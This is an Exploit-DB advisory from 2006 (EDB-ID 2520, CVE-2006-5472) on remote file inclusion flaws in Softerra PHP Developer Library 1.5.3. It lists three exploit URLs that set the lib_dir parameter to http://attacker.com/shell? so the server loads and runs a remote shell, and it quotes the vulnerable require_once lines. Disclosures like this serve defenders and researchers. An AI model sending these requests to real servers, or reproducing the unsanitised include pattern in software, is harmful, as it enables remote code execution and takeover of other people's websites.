Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities

2006-10-12T00:00:00
ID EDB-ID:2520
Type exploitdb
Reporter MP
Modified 2006-10-12T00:00:00

Description

Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities. CVE-2006-5472. Webapps exploit for php platform

                                        
                                            ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Softerra. PHP Developer Library ]                 #
#                                                                
# Class:     Remote File Include Vulnerability                  #
# Patch:     Unavailable                                        #
# Published  2006/10/12                                         #
# Remote:    Yes                                                
# Local:     No                            			#
# Type:      High                                               #
# Site:      http://www.softerra.com/products_php-library.htm   #
# Author:    MP
# Contact:   mp01010@yahoo.com                    		#
#                                				#
#################################################################

Exploit:

http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/registry.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlcompose.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlsearch.lib.php?lib_dir=http://attacker.com/shell?


Vuln Files:

registry.lib.php
sqlcompose.lib.php
sqlsearch.lib.php


Vuln Code:
#
../lib/registry.lib.php

&lt;? ...
require_once ($lib_dir . "sqlstorage.class.php");
... ?&gt;
##
../lib/sqlcompose.lib.php

&lt;? ...
require_once ($lib_dir . "array.lib.php");
... ?&gt;

##
../lib/sqlsearch.lib.php

&lt;? ...
require_once ($lib_dir . "array.lib.php");
... ?&gt;

# milw0rm.com [2006-10-12]